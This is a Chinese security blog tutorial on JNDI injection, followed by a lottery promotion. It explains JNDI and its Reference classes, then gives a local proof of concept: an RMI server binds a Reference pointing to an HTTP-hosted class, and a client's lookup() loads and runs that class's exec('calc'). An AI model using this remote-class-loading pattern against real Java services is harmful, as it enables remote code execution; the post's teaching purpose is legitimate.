【文末抽奖】JNDI注入(基础篇)

文摘   2024-09-04 22:59   广东  

点击蓝字,关注我们

一、什么是JNDI

JNDI(Java Naming and Directory Interface)是一种应用程序编程接口(API),它为使用Java编程语言编写的应用程序提供命名和目录功能。它被定义为独立于任何特定的目录服务实现。由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。

简单理解就是 name—object,一个名字对应一个对象。用于为开发者提供查找和访问各种服务和配置项的统一接口,解除系统间的耦合。

支持一下几种对象

  • Java serializable objects  //可序列化对象
  • Referenceable objects and JNDI References  //引用对象
  • Objects with attributes (DirContext)  // 属性对象
  • RMI (Java Remote Method Invocation) objects (including those that use IIOP)  //远程对象
  • CORBA objects  //CORBA对象

我们正常说的JNDI注入其实是引用对象(reference

Reference:JNDI允许通过对象工厂 (javax.naming.spi.ObjectFactory)动态加载对象实现。会在查询的时候执行工厂里的代码逻辑,对象工厂在传递引用的时候是可以控制的。允许从不同的地址来执行动态的代码。

对象工厂必须实现 javax.naming.spi.ObjectFactory接口并重写getObjectInstance方法。

协议作用
LDAP轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
RMIJAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象
DNS域名服务
CORBA公共对象请求代理体系结构

官方文档:

https://docs.oracle.com/javase/jndi/tutorial/objects/storing/index.html

历史版本

二、JNDI注入

1、相关类

InitialContext类

构造方法:

//构建一个初始上下文。
InitialContext() 
//构造一个初始上下文,并选择不初始化它。
InitialContext(boolean lazy) 
//使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment) 

常用方法:

//将名称绑定到对象。 
bind(Name name, Object obj) 
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name) 
//检索命名对象。
lookup(String name)      //lookup(uri);// 获取指定的远程对象
//将名称绑定到对象,覆盖任何现有绑定。
rebind(String name, Object obj) 
//取消绑定命名对象。
unbind(String name)  

Reference类

该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。即JNDI注入的根因。

构造方法:

//为类名为“className”的对象构造一个新的引用。
Reference(String className) 
//为类名为“className”的对象和地址构造一个新引用。 
Reference(String className, RefAddr addr) 
//为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。 
Reference(String className, RefAddr addr, String factory, String factoryLocation) 
//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。  
Reference(String className, String factory, String factoryLocation)

2.JNDI注入

JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数可控,攻击者就可以将恶意的 url 传入参数远程加载恶意载荷,造成注入攻击。

代码示例:

这里用的是jdk1.7.0_80版本。

需要提前准备一个恶意类,编译后起一个临时的http服务。需要注意的是http服务的端口要和JNDI服务端Reference链接的端口一致。

恶意类

public class calc {
    public calc(){
        try{
            Runtime.getRuntime().exec("calc");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        calc e = new calc();
    }
}

server端

服务端注册端口为7778

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class RMIServer {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.createRegistry(7778);
        Reference reference = new Reference("calc","calc","http://127.0.0.1:8089/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("RCE",wrapper);
    }

}

client端

客户端也就是受害者访问server端的RMI端口也为7778

import javax.naming.InitialContext;
import javax.naming.NamingException;
    public class RMIClient {
        public static void main(String[] args) throws NamingException{
            String uri = "rmi://127.0.0.1:7778/RCE";
            InitialContext initialContext = new InitialContext();
            initialContext.lookup(uri);
        }
    }

先启动http服务,然后启动server再启动client。


抽奖环节

抽奖规则

1.本次抽奖将会送出中秋礼盒*1 补天吨吨杯*2 10元现金红包*3

2.转发本文至朋友圈,并保留至开奖当天

参与方式

公众号后台回复“抽奖”

领奖方式

开奖后48小时内联系我们,逾期将视为自动放弃

活动时间

2024年9月2日 22:00至2024年9月6日20:00

点点关注不迷路~

湘安无事
湘安无事团队欢迎各位同学了解安全,也欢迎各位大佬加入和指点。深情哥wx:azz_789 乱聊技术